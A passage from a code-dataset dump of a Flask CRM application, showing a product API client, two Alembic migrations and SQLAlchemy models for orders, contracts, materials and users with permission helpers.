5856, "license_type": "no_license", "max_line_length": 123, "num_lines": 200, "path": "/application/product/api.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "import requests\nfrom .. import app\n\nsite = app.config['PRODUCT_SERVER']\nversion = 'api_v0.1'\nheaders = {'Content-Type': 'application/json'}\n\n\n# resource :products, [:index, :show, :create, :update, :delete]\ndef load_products(category_id, only_valid=True):\n url = '%s/%s/product_category/%s/products' % (site, version, category_id)\n response = requests.get(url)\n if response.status_code == 200:\n return list(filter(lambda x: x.get('isvalid') != 'NO', response.json())) if only_valid is True else response.json()\n else:\n return []\n\n\ndef load_product(product_id, option_sorted=False):\n url = '%s/%s/product/%s' % (site, version, product_id)\n response = requests.get(url)\n if response.status_code == 200:\n product = response.json()\n if option_sorted:\n options = load_product_options(product.get('product_id')).get('options')\n feature_list = []\n for option in options:\n if not option.get('feature_name') in feature_list:\n feature_list.append(option.get('feature_name'))\n option_sorted_by_feature = []\n for feature in feature_list:\n group = []\n for option in options:\n if option.get('feature_name') == feature:\n group.append(option)\n option_sorted_by_feature.append(group)\n product['option_sorted'] = option_sorted_by_feature\n return product\n else:\n return {}\n\n\ndef create_product(data={}):\n url = '%s/%s/products' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response # 201\n\n\ndef update_product(product_id, data):\n url = '%s/%s/products/%s/edit' % (site, version, product_id)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\ndef delete_product(product_id):\n url = '%s/%s/products/%s' % (site, version, product_id)\n response = requests.delete(url)\n return response\n\n\n# resource :skus, [:index, :show, :create, :update, :delete]\ndef load_skus(product_id):\n url = '%s/%s/products/%s/skus' % (site, version, product_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef load_sku(product_id, sku_id):\n skus = load_skus(product_id).get('skus')\n if skus:\n for sku in skus:\n if sku.get('sku_id') == sku_id:\n return sku\n return {}\n\n\ndef create_sku(data={}):\n url = '%s/%s/product_skus' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response\n\n\ndef get_sku(sku_id):\n url = '%s/%s/product_skus/%s' % (site, version, sku_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef update_sku(sku_id, data={}):\n url = '%s/%s/product_skus/%s/edit' % (site, version, sku_id)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\ndef delete_sku(sku_id):\n url = '%s/%s/product_skus/%s' % (site, version, sku_id)\n response = requests.delete(url)\n return response\n\n\n# resource :categories, [:index, :show, :create, :update]\ndef load_categories():\n url = '%s/%s/product_categories' % (site, version)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else: \n return []\n\n\ndef load_category(category_id):\n url = '%s/%s/product_categories/%s' % (site, version, category_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()[0]\n else:\n return {}\n\n\ndef create_category(data={}):\n url = '%s/%s/product_categories' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response # 201\n\n\ndef update_category(category_id, data={}):\n url = '%s/%s/product_categories/%s/edit' % (site, version, category_id)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\n# resource :features, [:index, :show, :create, :update]\ndef load_features():\n url = '%s/%s/sku_features' % (site, version)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef load_feature(feature_id):\n url = '%s/%s/sku_feature/%s' % (site, version, feature_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef create_feature(data={}):\n url = '%s/%s/sku_features' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response\n\n\ndef update_feature(feature_id, data={}):\n url = '%s/%s/sku_features/%s/edit' % (site, version, feature_id)\n response = requests.put(url, json=data, headers=headers)\n return response\n\n\ndef delete_feature(feature_id):\n url = '%s/%s/sku_feature/%s' % (site, version, feature_id)\n response = requests.delete(url)\n return response # 200\n\n\n# resource :options, [:create, :update]\ndef create_option(data={}):\n url = '%s/%s/sku_options' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response\n\n\ndef update_option(option_id, data={}):\n url = '%s/%s/sku_options/%s/edit' % (site, version, option_id)\n response = requests.put(url, json=data, headers=headers)\n return response\n\n\ndef delete_option(option_id):\n url = '%s/%s/sku_option/%s' % (site, version, option_id)\n response = requests.delete(url)\n return response\n\n\ndef load_product_options(product_id):\n url = '%s/%s/product/%s/options' % (site, version, product_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n" }, { "alpha_fraction": 0.6262924671173096, "alphanum_fraction": 0.6765140295028687, "avg_line_length": 23.178571701049805, "blob_id": "18bf12331157ba0dcc89b86ab6d5486872402410", "content_id": "0b3d18b7d01e23d9e9e571f84e7b308ab24d786d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 677, "license_type": "no_license", "max_line_length": 86, "num_lines": 28, "path": "/migrations/versions/cc49d9ce0732_add_pic_files_to_project_report.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add pic_files to project report\n\nRevision ID: cc49d9ce0732\nRevises: 90b229de33de\nCreate Date: 2017-04-29 21:39:09.882668\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cc49d9ce0732'\ndown_revision = '90b229de33de'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('project_reports', sa.Column('pic_files', sa.JSON(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('project_reports', 'pic_files')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6486161351203918, "alphanum_fraction": 0.6811071038246155, "avg_line_length": 26.700000762939453, "blob_id": "4deec4c392b1b3118b7ec70b7d61f568b3946e70", "content_id": "c23befe3a2d96af9862c9a1659f2e8bac534013d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 831, "license_type": "no_license", "max_line_length": 91, "num_lines": 30, "path": "/migrations/versions/c0778ba000bb_add_timestamps_to_project_report.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add timestamps to project report\n\nRevision ID: c0778ba000bb\nRevises: f5ff15a65fd0\nCreate Date: 2017-03-06 09:03:15.200570\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c0778ba000bb'\ndown_revision = 'f5ff15a65fd0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('project_reports', sa.Column('created_at', sa.DateTime(), nullable=True))\n op.add_column('project_reports', sa.Column('updated_at', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('project_reports', 'updated_at')\n op.drop_column('project_reports', 'created_at')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6246799230575562, "alphanum_fraction": 0.6334351897239685, "avg_line_length": 38.308441162109375, "blob_id": "768bcf3c976a820785d7ba66b0409260e2a99f8c", "content_id": "f8556eccfee79975c097c3ca2ac46978069b3a0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37735, "license_type": "no_license", "max_line_length": 154, "num_lines": 924, "path": "/application/models.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport datetime\nfrom . import db, login_manager, bcrypt, cache\nfrom flask import url_for\nfrom sqlalchemy import distinct\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.filter_by(id=int(user_id)).first()\n\n\nclass Rails(object):\n @property\n def save(self):\n # 增加rollback防止一个异常导致后续SQL不可使用\n try:\n db.session.add(self)\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n raise e\n\n return self\n\n @property\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n return self\n\n\n# Contents_and_options: id, content_id, content_classification_option_id\ncontents_and_options = db.Table('contents_and_options',\n db.Column('content_id', db.Integer, db.ForeignKey('content.id')),\n db.Column('content_classification_option_id', db.Integer,\n db.ForeignKey('content_classification_option.id')))\n\n\n# Contents: id, name,description,content_thumbnail,reference_info(json{name,value})\nclass Content(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100))\n description = db.Column(db.Text)\n image_links = db.Column(db.JSON, default=[])\n detail_link = db.Column(db.String(200))\n reference_info = db.Column(db.JSON, default={})\n product_ids = db.Column(db.JSON, default=[])\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n category_id = db.Column(db.Integer, db.ForeignKey('content_category.id'))\n options = db.relationship('ContentClassificationOption', secondary=contents_and_options,\n backref=db.backref('contents', lazy='dynamic'), lazy='dynamic')\n\n def __repr__(self):\n return 'Content(id: %s, name: %s, ...)' % (self.id, self.name)\n\n def append_options(self, options):\n existing_options = self.options\n new_options = []\n for option in options:\n if option not in existing_options:\n new_options.append(option)\n for option in new_options:\n existing_options.append(option)\n return self.options\n\n def update_options(self, options):\n self.options = []\n self.append_options(options)\n return self.options\n\n @property\n def title_image(self):\n if self.image_links:\n for image in self.image_links:\n if image:\n return image\n return ''\n\n\n# Content_categories: id,name\nclass ContentCategory(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100), unique=True)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n contents = db.relationship('Content', backref='category', lazy='dynamic')\n classifications = db.relationship('ContentClassification', backref='category', lazy='dynamic')\n\n def __repr__(self):\n return 'ContentCategory(id: %s, name: %s)' % (self.id, self.name)\n\n @property\n def delete_p(self):\n for classification in self.classifications:\n classification.delete_p\n self.delete\n return self\n\n @property\n def options(self):\n classification_ids = [classification.id for classification in self.classifications]\n options = ContentClassificationOption.query.filter(\n ContentClassificationOption.classification_id.in_(classification_ids))\n return options\n\n\n# Content_classifications: id, content_category_id, name,description\nclass ContentClassification(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100))\n description = db.Column(db.Text)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n category_id = db.Column(db.Integer, db.ForeignKey('content_category.id'))\n options = db.relationship('ContentClassificationOption', backref='classification', lazy='dynamic')\n\n def __repr__(self):\n return 'ContentClassification(id: %s, name: %s, description: %s)' % (self.id, self.name, self.description)\n\n @property\n def delete_p(self):\n for option in self.options:\n option.delete\n self.delete\n return self\n\n\n# Content_classification_options: id, content_classification_id,name\nclass ContentClassificationOption(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100))\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n classification_id = db.Column(db.Integer, db.ForeignKey('content_classification.id'))\n\n def __repr__(self):\n return 'ContentClassificationOption(id: %s, name: %s)' % (self.id, self.name)\n\n\nclass Material(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100))\n memo = db.Column(db.Text)\n stock_num = db.Column(db.Integer, default=0)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n application_contents = db.relationship('MaterialApplicationContent', backref='material', lazy='dynamic')\n\n @property\n def used_num(self):\n count = 0\n application_contents = self.application_contents.join(MaterialApplicationContent.application).filter(\n MaterialApplication.status == '同意申请')\n for application_content in application_contents:\n if application_content.available_number:\n count += application_content.available_number\n return count\n\n @property\n def remain_num(self):\n return (self.stock_num or 0) - self.used_num\n\n def __repr__(self):\n return 'Material(id: %s, name: %s, ...)' % (self.id, self.name)\n\n\nclass MaterialApplication(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n app_no = db.Column(db.String(30), unique=True)\n status = db.Column(db.String(50))\n app_type = db.Column(db.Integer) # 根据申请人确认申请类型, [3: 'staff', 2: 'dealer']\n sales_area = db.Column(db.String(20)) # 销售区域(省份), 用于统计\n app_memo = db.Column(db.String(500)) # 物料申请备注\n memo = db.Column(db.String(200))\n app_infos = db.Column(db.JSON, default={})\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n application_contents = db.relationship('MaterialApplicationContent', backref='application', lazy='dynamic')\n\n def __repr__(self):\n return 'MaterialApplication(id: %s, app_no: %s, status: %s, ...)' % (self.id, self.app_no, self.status)\n\n def app_type_desc(self):\n if self.app_type == 2:\n return '经销商申请'\n elif self.app_type == 3:\n return '员工申请'\n else:\n return '未知类型'\n\n\nclass MaterialApplicationContent(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n material_id = db.Column(db.Integer, db.ForeignKey('material.id'))\n material_name = db.Column(db.String(100))\n number = db.Column(db.Integer)\n available_number = db.Column(db.Integer)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n application_id = db.Column(db.Integer, db.ForeignKey('material_application.id'))\n\n def __repr__(self):\n return 'MaterialApplicationContent(id: %s, material_id: %s, number: %s,...)' % (\n self.id, self.material_id, self.number)\n\n\nclass DesignApplication(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n filing_no = db.Column(db.String(50))\n status = db.Column(db.String(50))\n ul_file = db.Column(db.String(200))\n dl_file = db.Column(db.String(200))\n dl_file_memo = db.Column(db.String(500))\n applicant_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n operator_id = db.Column(db.Integer)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n def __repr__(self):\n return 'DesignApplication(id: %s, filing_no: %s, status: %s,...)' % (self.id, self.filing_no, self.status)\n\n\nclass ShareInventory(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n applicant_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n audit_id = db.Column(db.Integer)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n status = db.Column(db.String(50))\n batch_no = db.Column(db.String(50))\n product_name = db.Column(db.String(200))\n sku_option = db.Column(db.String(200))\n sku_code = db.Column(db.String(30))\n sku_id = db.Column(db.Integer)\n production_date = db.Column(db.String(30))\n stocks = db.Column(db.Float)\n price = db.Column(db.Float)\n audit_price = db.Column(db.Float)\n pic_files = db.Column(db.JSON)\n\n @property\n def app_user(self):\n return User.query.get_or_404(self.applicant_id)\n\n @property\n def sale_director_id(self):\n province_id = User.query.get_or_404(self.applicant_id).sales_areas.first().parent_id\n region_id = SalesAreaHierarchy.query.get_or_404(province_id).parent_id\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(\n DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == region_id).first()\n if us is not None:\n return us.id\n else:\n return 0\n\n\nclass TrackingInfo(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n status = db.Column(db.String(50))\n contract_no = db.Column(db.String(50))\n contract_date = db.Column(db.DateTime)\n receiver_name = db.Column(db.String(200))\n receiver_tel = db.Column(db.String(30))\n production_date = db.Column(db.DateTime)\n production_manager = db.Column(db.String(200))\n production_starts_at = db.Column(db.DateTime)\n production_ends_at = db.Column(db.DateTime)\n delivery_date = db.Column(db.DateTime)\n delivery_infos = db.Column(db.JSON, default={})\n # logistics_company = db.Column(db.String(200))\n # delivery_plate_no = db.Column(db.String(100))\n # delivery_man_name = db.Column(db.String(200))\n # delivery_man_tel = db.Column(db.String(30))\n qrcode_token = db.Column(db.String(128))\n qrcode_image = db.Column(db.String(200))\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n details = db.relationship('TrackingInfoDetail', backref='tracking_info', lazy='dynamic')\n qrcode_scan_date = db.Column(db.DateTime)\n\n def __repr__(self):\n return 'TrackingInfo(id: %s, contract_no: %s,...)' % (self.id, self.contract_no)\n\n @property\n def production_status(self):\n if self.production_date:\n if self.production_date <= datetime.datetime.now():\n return '已生产'\n return '未生产'\n\n @property\n def delivery_status(self):\n if self.delivery_date:\n if self.delivery_date <= datetime.datetime.now():\n return '已发货'\n return '未发货'\n\n @property\n def qrcode_image_path(self):\n if self.qrcode_image:\n return '/static/upload/qrcode/%s' % self.qrcode_image\n return ''\n\n\nclass TrackingInfoDetail(db.Model, Rails):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(200))\n description = db.Column(db.String(500))\n tracking_info_id = db.Column(db.Integer, db.ForeignKey('tracking_info.id'))\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n\n# 货运公司信息表\nclass LogisticsCompanyInfo(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(50))\n telephone = db.Column(db.String(50))\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n\nclass Order(db.Model, Rails):\n __tablename__ = 'orders'\n id = db.Column(db.Integer, primary_key=True)\n order_no = db.Column(db.String(30), unique=True)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n order_status = db.Column(db.String(50))\n order_memo = db.Column(db.Text)\n buyer_info = db.Column(db.JSON)\n sale_contract = db.Column(db.String(200))\n sale_contract_id = db.Column(db.Integer)\n contracts = db.relationship('Contract', backref='order', lazy='dynamic')\n order_contents = db.relationship('OrderContent', backref='order')\n\n def __repr__(self):\n return 'Order(id: %s, order_no: %s, user_id: %s, order_status: %s, order_memo: %s)' % (\n self.id, self.order_no, self.user_id, self.order_status, self.order_memo)\n\n @property\n def sale_director(self):\n province_id = User.query.get_or_404(self.user_id).sales_areas.first().parent_id\n region_id = SalesAreaHierarchy.query.get_or_404(province_id).parent_id\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(\n DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == region_id).first()\n if us is not None:\n return us.nickname\n else:\n return ''\n\n @property\n def sale_director_id(self):\n province_id = User.query.get_or_404(self.user_id).sales_areas.first().parent_id\n region_id = SalesAreaHierarchy.query.get_or_404(province_id).parent_id\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(\n DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == region_id).first()\n if us is not None:\n return us.id\n else:\n return 0\n\n @property\n def sale_contract_phone(self):\n return '' if self.sale_contract_id is None else User.query.get(self.sale_contract_id).user_infos[0].telephone\n\n\nclass Contract(db.Model):\n __tablename__ = 'contracts'\n id = db.Column(db.Integer, primary_key=True)\n contract_no = db.Column(db.String(30), unique=True)\n contract_date = db.Column(db.DateTime, default=datetime.datetime.now)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n order_id = db.Column(db.Integer, db.ForeignKey('orders.id'))\n contract_status = db.Column(db.String(50))\n product_status = db.Column(db.String(50))\n shipment_status = db.Column(db.String(50))\n payment_status = db.Column(db.String(50), default='未付款')\n contract_content = db.Column(db.JSON)\n\n def __repr__(self):\n return 'Contract(id: %s, contract_no: %s, contract_date: %s, order_id: %s, contract_status: %s, product_status: %s, shipment_status: %s, ...)' % (\n self.id, self.contract_no, self.contract_date, self.order_id, self.contract_status, self.product_status,\n self.shipment_status)\n\n @property\n def production_status(self):\n tracking_info = TrackingInfo.query.filter_by(contract_no=self.contract_no).first()\n if tracking_info:\n return tracking_info.production_status\n return '未生产'\n\n @property\n def delivery_status(self):\n tracking_info = TrackingInfo.query.filter_by(contract_no=self.contract_no).first()\n if tracking_info:\n return tracking_info.delivery_status\n return '未发货'\n\n\nclass OrderContent(db.Model, Rails):\n __tablename__ = 'order_contents'\n id = db.Column(db.Integer, primary_key=True)\n order_id = db.Column(db.Integer, db.ForeignKey('orders.id'))\n product_name = db.Column(db.String(300))\n sku_specification = db.Column(db.String(500))\n sku_code = db.Column(db.String(30))\n number = db.Column(db.Float)\n square_num = db.Column(db.Float)\n price = db.Column(db.Float, default=0)\n amount = db.Column(db.Float, default=0)\n memo = db.Column(db.String(100))\n batch_info = db.Column(db.JSON, default={})\n production_num = db.Column(db.Float, default=0)\n inventory_choose = db.Column(db.JSON, default=[])\n\n def __repr__(self):\n return 'OrderContent(id: %s, order_id: %s, product_name: %s, sku_specification: %s, sku_code: %s, number: %s, square_num: %s)' % (\n self.id, self.order_id, self.product_name, self.sku_specification, self.sku_code, self.number,\n self.square_num)\n\n\nusers_and_resources = db.Table(\n 'users_and_resources',\n db.Column('user_id', db.Integer, db.ForeignKey('users.id')),\n db.Column('resource_id', db.Integer, db.ForeignKey('resources.id'))\n)\n\nusers_and_sales_areas = db.Table(\n 'users_and_sales_areas',\n db.Column('user_id', db.Integer, db.ForeignKey('users.id')),\n db.Column('sales_area_id', db.Integer, db.ForeignKey('sales_area_hierarchies.id')),\n db.Column('parent_id', db.Integer),\n db.Column('parent_time', db.DateTime)\n)\n\nusers_and_departments = db.Table(\n 'users_and_departments',\n db.Column('user_id', db.Integer, db.ForeignKey('users.id')),\n db.Column('dep_id', db.Integer, db.ForeignKey('department_hierarchies.id'))\n)\n\n\nclass UserAndSaleArea(db.Model, Rails):\n __tablename__ = 'users_and_sales_areas'\n __table_args__ = {\"useexisting\": True}\n user_id = db.Column('user_id', db.Integer, db.ForeignKey('users.id'), primary_key=True)\n sales_area_id = db.Column('sales_area_id', db.Integer, db.ForeignKey('sales_area_hierarchies.id'), primary_key=True)\n parent_id = db.Column('parent_id', db.Integer)\n parent_time = db.Column('parent_time', db.DateTime)\n\n\nclass User(db.Model, Rails):\n __tablename__ = 'users'\n id = db.Column(db.Integer, primary_key=True)\n password_hash = db.Column(db.String(100), nullable=False)\n email = db.Column(db.String(60), nullable=False, unique=True)\n nickname = db.Column(db.String(200))\n user_or_origin = db.Column(db.Integer)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n user_infos = db.relationship('UserInfo', backref='user')\n orders = db.relationship('Order', backref='user', lazy='dynamic')\n contracts = db.relationship('Contract', backref='user', lazy='dynamic')\n material_applications = db.relationship('MaterialApplication', backref='user', lazy='dynamic')\n design_applications = db.relationship('DesignApplication', backref='applicant', lazy='dynamic')\n resources = db.relationship('Resource', secondary=users_and_resources,\n backref=db.backref('users', lazy='dynamic'), lazy='dynamic')\n sales_areas = db.relationship('SalesAreaHierarchy', secondary=users_and_sales_areas,\n backref=db.backref('users', lazy='dynamic'), lazy='dynamic')\n departments = db.relationship('DepartmentHierarchy', secondary=users_and_departments,\n backref=db.backref('users', lazy='dynamic'), lazy='dynamic')\n # 特殊属性 - 每一位使用0,1作为区分\n # 经销商用户 - 首位表示是否加盟 0:未加盟 , 1:加盟\n # 是否被禁止登入 - 第2位表示是否被禁止登入 0:未禁止, 1:禁止\n # 员工 - 暂未使用此字段\n extra_attributes = db.Column(db.String(10), default='')\n\n def __repr__(self):\n return '<User %r -- %r>' % (self.id, self.nickname)\n\n # 用户的对象是否可认证 , 因为某些原因不允许被认证\n def is_authenticated(self):\n return True\n\n # 用户的对象是否有效 , 账号被禁止\n def is_active(self):\n return True\n\n # 为那些不被获准登录的用户返回True\n def is_anonymous(self):\n if self.extra_attributes is not None and self.extra_attributes[1:2] == '1':\n return True\n return False\n\n # 设置用户是否禁用\n def set_is_anonymous(self, is_anonymous_data):\n if is_anonymous_data is None or is_anonymous_data == 'None':\n is_anonymous_data = '0'\n\n if self.extra_attributes is None or self.extra_attributes == \"\":\n # 第一位默认为1\n self.extra_attributes = '1' + is_anonymous_data\n else:\n list_extra_attributes = list(self.extra_attributes)\n list_extra_attributes[1] = is_anonymous_data\n self.extra_attributes = ''.join(list_extra_attributes)\n\n # 设置用户是否加盟 -- 供应商专属属性\n def set_join_dealer(self, join_dealer_data):\n if join_dealer_data is None or join_dealer_data == 'None':\n join_dealer_data = '1'\n\n if self.user_or_origin == 2:\n if self.extra_attributes is None or self.extra_attributes == \"\":\n # 第二位默认为0\n self.extra_attributes = join_dealer_data + \"0\"\n else:\n list_extra_attributes = list(self.extra_attributes)\n list_extra_attributes[0] = join_dealer_data\n self.extra_attributes = ''.join(list_extra_attributes)\n\n # 为用户返回唯一的unicode标识符\n def get_id(self):\n return str(self.id).encode(\"utf-8\")\n\n def check_can_login(self):\n if self.user_or_origin == 3 and self.departments.count() == 0:\n return \"用户[%s]部门异常,请联系管理员\" % self.nickname\n if self.is_anonymous():\n if self.user_or_origin == 2:\n return \"[%s经销商]暂时无法登陆,请联系管理员\" % self.nickname\n else:\n return \"用户[%s]已被禁用,请联系管理员\" % self.nickname\n return \"\"\n\n def get_user_type_name(self):\n return {2: \"经销商\", 3: \"员工\"}[self.user_or_origin]\n\n # 前台查询,新增,修改用户权限控制\n def authority_control_to_user(self, other_user):\n # 可操作任意经销商\n if other_user is None or other_user.user_or_origin == 2:\n return None\n # 等级权限高 - 董事长\n if self.get_max_level_grade() < other_user.get_max_level_grade():\n return None\n # 所属部门是否有交集\n self_d_array = [d.id for d in self.departments.all()]\n other_d_array = [d.id for d in other_user.departments.all()]\n if list(set(self_d_array).intersection(set(other_d_array))) != []:\n return None\n\n return \"当前用户[%s] 无权限操作用户[%s]\" % (self.nickname, other_user.nickname)\n\n @property\n def password(self):\n return self.password_hash\n\n @password.setter\n def password(self, value):\n self.password_hash = bcrypt.generate_password_hash(value).decode('utf-8')\n\n # 获取用户的最大部门等级\n def get_max_level_grade(self):\n max_level_grade = 99\n for d in self.departments:\n if max_level_grade > d.level_grade:\n max_level_grade = d.level_grade\n\n return max_level_grade\n\n # 授权加载2小时\n @cache.memoize(7200)\n # 是否有授权\n def is_authorized(self, endpoint, method=\"GET\"):\n print(\"User[%s] endpoint[%s] is authorized cache\" % (self.nickname, endpoint))\n return AuthorityOperation.is_authorized(self, endpoint, method)\n\n # 获取用户所属role -- 暂使用所属部门代替\n def get_roles(self):\n return [(d.id, d.name) for d in self.departments.order_by(DepartmentHierarchy.id.asc()).all()]\n\n def get_province_sale_areas(self):\n if not self.user_or_origin == 3:\n return []\n if self.departments.filter_by(name=\"销售部\").first() is not None: # 销售部员工\n areas = []\n for area in self.sales_areas:\n if area.level_grade == 2: # 销售总监,管理一个大区\n areas += SalesAreaHierarchy.query.filter_by(level_grade=3, parent_id=area.id).all()\n elif area.level_grade == 3: # 普通销售人员,管理一个省\n areas += [area]\n else:\n areas += []\n return areas\n else:\n return []\n\n def get_subordinate_dealers(self):\n return db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([province.id for province in self.get_province_sale_areas()]))])).all()\n\n @property\n def is_sales_department(self):\n sales_department = DepartmentHierarchy.query.filter_by(name='销售部').first()\n if sales_department in self.departments:\n return True\n else:\n return False\n\n @cache.memoize(7200)\n def get_orders_num(self):\n if self.is_sales_department:\n num = Order.query.filter_by(order_status='新订单').filter(\n Order.user_id.in_(set([user.id for user in self.get_subordinate_dealers()]))).count()\n return num\n else:\n return 0\n\n def get_other_app_num(self):\n return self.get_material_application_num() + self.get_project_report_num() + self.get_share_inventory_num()\n\n @cache.memoize(7200)\n def get_material_application_num(self):\n if self.is_sales_department:\n num = MaterialApplication.query.filter_by(status='新申请').filter(\n MaterialApplication.user_id.in_(set([user.id for user in self.get_subordinate_dealers()]))).count()\n return num\n else:\n return 0\n\n @cache.memoize(7200)\n def get_material_application_approved_num(self):\n return MaterialApplication.query.filter(MaterialApplication.status == '同意申请').count()\n\n @cache.memoize(7200)\n def get_project_report_num(self):\n if self.is_sales_department:\n num = ProjectReport.query.filter_by(status='新创建待审核').filter(\n ProjectReport.app_id.in_(set([user.id for user in self.get_subordinate_dealers()]))).count()\n return num\n else:\n return 0\n\n @cache.memoize(7200)\n def get_share_inventory_num(self):\n if self.is_sales_department:\n num = ShareInventory.query.filter_by(status='新申请待审核').filter(\n ShareInventory.applicant_id.in_(set([user.id for user in self.get_subordinate_dealers()]))).count()\n return num\n else:\n return 0\n\n # @cache.memoize(7200)\n def get_finance_contract_num(self):\n return Contract.query.filter(Contract.payment_status == '未付款').count()\n\n def get_contract_for_tracking_num(self):\n return Contract.query.filter((Contract.payment_status == '已付款') &\n (Contract.shipment_status == '未出库')).count()\n\n # 